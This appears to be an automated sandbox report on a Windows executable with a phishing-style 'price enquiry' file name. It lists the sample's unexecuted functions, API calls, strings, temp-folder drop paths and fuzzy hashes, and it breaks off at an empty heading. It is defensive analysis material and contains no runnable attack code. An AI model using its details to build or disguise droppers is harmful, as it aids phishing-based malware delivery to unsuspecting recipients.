Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BF
GetDlgItem.USER32(?,000003EE), ref: 004051CE
GetClientRect.USER32(?,?), ref: 0040520B
GetSystemMetrics.USER32(00000015), ref: 00405213
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405234
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405245
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405258
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405266
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405279
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040529B
ShowWindow.USER32(?,?), ref: 004052AF
GetDlgItem.USER32(?,000003EC), ref: 004052D0
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004052E0
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052F9
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405305
GetDlgItem.USER32(?,000003F8), ref: 004051DD

Part of subcall function 00403FF1: SendMessageW.USER32(?,?,00000001,00403E1D), ref: 00403FFF

GetDlgItem.USER32(?,000003EC), ref: 00405322
CreateThread.KERNEL32(00000000,00000000,Function_000050F4,00000000), ref: 00405330
CloseHandle.KERNEL32(00000000), ref: 00405337
ShowWindow.USER32(00000000), ref: 0040535B
ShowWindow.USER32(?,?), ref: 00405360
ShowWindow.USER32(?), ref: 004053AA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053DE
CreatePopupMenu.USER32 ref: 004053EF
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405403
GetWindowRect.USER32(?,?), ref: 00405423
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040543C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405474
OpenClipboard.USER32(00000000), ref: 00405484
EmptyClipboard.USER32 ref: 0040548A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405496
GlobalLock.KERNEL32(00000000), ref: 004054A0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004054B4
GlobalUnlock.KERNEL32(00000000), ref: 004054D4
SetClipboardData.USER32(0000000D,00000000), ref: 004054DF
CloseClipboard.USER32 ref: 004054E5

Strings

{, xrefs: 004053C8

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 2b0bbd934e5e2e3e3be260f92b321637e2493032fd60f0d5476787e00098c476
Instruction ID: 0991f248181b02e880a99382a637b1aa596eb82eb2a2f586ae382473c4d6dcb0
Opcode Fuzzy Hash: 2b0bbd934e5e2e3e3be260f92b321637e2493032fd60f0d5476787e00098c476
Instruction Fuzzy Hash: 9CB15970900209FFEB219F60DD89AAE7B79FB04355F00807AFA01BA1A0C7755E52DF69

Function 00404457 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004044A6
SetWindowTextW.USER32(00000000,?), ref: 004044D0
SHBrowseForFolderW.SHELL32(?), ref: 00404581
CoTaskMemFree.OLE32(00000000), ref: 0040458C
lstrcmpiW.KERNEL32(Call,00422698,00000000,?,?), ref: 004045BE
lstrcatW.KERNEL32(?,Call), ref: 004045CA
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004045DC

Part of subcall function 00405537: GetDlgItemTextW.USER32(?,?,00000400,00404613), ref: 0040554A

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 00406095

GetDiskFreeSpaceW.KERNEL32(00420668,?,?,0000040F,?,00420668,00420668,?,00000000,00420668,?,?,000003FB,?), ref: 0040469D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004046B8
SetDlgItemTextW.USER32(00000000,00000400,00420658), ref: 0040473E

Strings

C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 004045A7
A, xrefs: 0040457A
Call, xrefs: 004045B8, 004045BD, 004045C8

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Temp\Tissene$Call
API String ID: 2246997448-128893343
Opcode ID: 78c45dea5bda1c7509b15e4ab034df9dc46bae7e2243de7a1cb8c816dc85e116
Instruction ID: 0c6fa40730a198f5f3b00d197b033e886b1b3680f215deb67d5ef6a97ab5c625
Opcode Fuzzy Hash: 78c45dea5bda1c7509b15e4ab034df9dc46bae7e2243de7a1cb8c816dc85e116
Instruction Fuzzy Hash: A79163B1900205BBDB11AFA1DC85AAF77B8EF85314F10847BF601B72D1D77C9A418B69

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1f3d8d42859d10d50ff88fb78ccf834a91d312b735eb05e2dc5449be6583bdc1
Instruction ID: 81a3354c9c50dc932bc25f9396bfa9246b1e72d43aeb2e6b96ab1eceb958d047
Opcode Fuzzy Hash: 1f3d8d42859d10d50ff88fb78ccf834a91d312b735eb05e2dc5449be6583bdc1
Instruction Fuzzy Hash: 4CF05EB1A141149BDB00DFE4DD499EEB378FF04328F20497AE101F31D0D6B459409B2A

Function 00404159 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004041F7
GetDlgItem.USER32(?,000003E8), ref: 0040420B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404228
GetSysColor.USER32(?), ref: 00404239
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404247
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404255
lstrlenW.KERNEL32(?), ref: 0040425A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404267
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040427C
GetDlgItem.USER32(?,0000040A), ref: 004042D5
SendMessageW.USER32(00000000), ref: 004042DC
GetDlgItem.USER32(?,000003E8), ref: 00404307
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040434A
LoadCursorW.USER32(00000000,00007F02), ref: 00404358
SetCursor.USER32(00000000), ref: 0040435B
ShellExecuteW.SHELL32(0000070B,open,@qB,00000000,00000000,00000001), ref: 00404370
LoadCursorW.USER32(00000000,00007F00), ref: 0040437C
SetCursor.USER32(00000000), ref: 0040437F
SendMessageW.USER32(00000111,00000001,00000000), ref: 004043AE
SendMessageW.USER32(?,00000000,00000000), ref: 004043C0

Strings

@qB, xrefs: 00404365
N, xrefs: 004042F5
open, xrefs: 00404368

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @qB$N$open
API String ID: 3615053054-1317396031
Opcode ID: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction ID: bf3a58da35b54ffee1731227a2abeb8335aa36a287bc534981c9d3d9286f6950
Opcode Fuzzy Hash: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction Fuzzy Hash: F4718FB1A00209BFDB109F61DD85E6A7B79FB44354F00803AFA01B62D0D778AD61CFA9

Function 00405A95 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D38,NUL,?,00000000,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AA5
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AC9
GetShortPathNameW.KERNEL32(00000000,00425D38,00000400), ref: 00405AD2

Part of subcall function 00405948: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
Part of subcall function 00405948: lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

GetShortPathNameW.KERNEL32(?,00426538,00000400), ref: 00405AEF
wsprintfA.USER32 ref: 00405B0D
GetFileSize.KERNEL32(00000000,00000000,00426538,C0000000,?,00426538,?,?,?,?,?), ref: 00405B48
GlobalAlloc.KERNEL32(?,0000000A), ref: 00405B57
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B8F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425938,00000000,-0000000A,00409514,00000000,[Rename],00000000,00000000,00000000), ref: 00405BE5
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BF7
GlobalFree.KERNEL32(00000000), ref: 00405BFE
CloseHandle.KERNEL32(00000000), ref: 00405C05

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Strings

8]B, xrefs: 00405A9A
%ls=%ls, xrefs: 00405B03
NUL, xrefs: 00405A9F
[Rename], xrefs: 00405B77, 00405B89
8eB, xrefs: 00405AE4

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$8]B$8eB$NUL$[Rename]
API String ID: 1265525490-2949686642
Opcode ID: 51c5388642170daf35e7995d27f35842caf330de62fb116844d46c484b646b4e
Instruction ID: 0a051ccaee0c074b1a09a4e80aa922ec39551e5d9eafb60cec8afc598b306fa0
Opcode Fuzzy Hash: 51c5388642170daf35e7995d27f35842caf330de62fb116844d46c484b646b4e
Instruction Fuzzy Hash: BC412671605B14BBE2206B215C49F6B7A6CDF45728F14003AF901F62D2D67CBD018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281A0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction ID: 4121dad2538bec1171c888a02065f78bbc92972143ed5d2ae8151d97d00695b6
Opcode Fuzzy Hash: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction Fuzzy Hash: 68418A71804249AFDB058FA5DD459BFBBB9FF48310F00812AF951AA1A0C738EA51DFA5

Function 0040600B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 0040606E
CharNextW.USER32(?,?,?,00000000), ref: 0040607D
CharNextW.USER32(?,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 00406082
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 00406095

Strings

*?|<>/":, xrefs: 0040605D
C:\Users\user\AppData\Local\Temp\, xrefs: 0040600C, 00406011
"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe", xrefs: 0040604F

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3770250573
Opcode ID: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction ID: 5f8db4d4ef1aaeb388f58d13ad2a41ec80f6628d4c19804d17f22981d69c56f6
Opcode Fuzzy Hash: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction Fuzzy Hash: 5311C45684121299DB30BB199C40BB7A2E8EF54790F52803FED8A733C1E77C5C9286BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nsgBC23.tmp, xrefs: 00402528
C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nsgBC23.tmp$C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll
API String ID: 1453599865-3208432905
Opcode ID: 5d1ee63d9f3e2ea2108e99d9a02f01bd8e6f2a47fdaa5c274d2a7aefafe7d1a0
Instruction ID: 7a030a9c095cf7661290fe091fec1a729e70b9dbbd1292938289fd6a30d2cb41
Opcode Fuzzy Hash: 5d1ee63d9f3e2ea2108e99d9a02f01bd8e6f2a47fdaa5c274d2a7aefafe7d1a0
Instruction Fuzzy Hash: 18018071A04204FFD700AFA09E89EAF7378AB10319F20453BB202B61D1D6B85D419A2D

Function 00404023 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404040
GetSysColor.USER32(00000000), ref: 0040405C
SetTextColor.GDI32(?,00000000), ref: 00404068
SetBkMode.GDI32(?,?), ref: 00404074
GetSysColor.USER32(?), ref: 00404087
SetBkColor.GDI32(?,?), ref: 00404097
DeleteObject.GDI32(?), ref: 004040B1
CreateBrushIndirect.GDI32(?), ref: 004040BB

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 7833da122bd5b54dba07469e608d39c2309fd7833842469cb0c606e819627665
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 5A2184B19047449BCB319F68DD08B5B7BF8AF40714F048A29EA95F22E0C738E904CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405A66: ReadFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,?,00000000,00000000,00000000), ref: 00405A7A

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

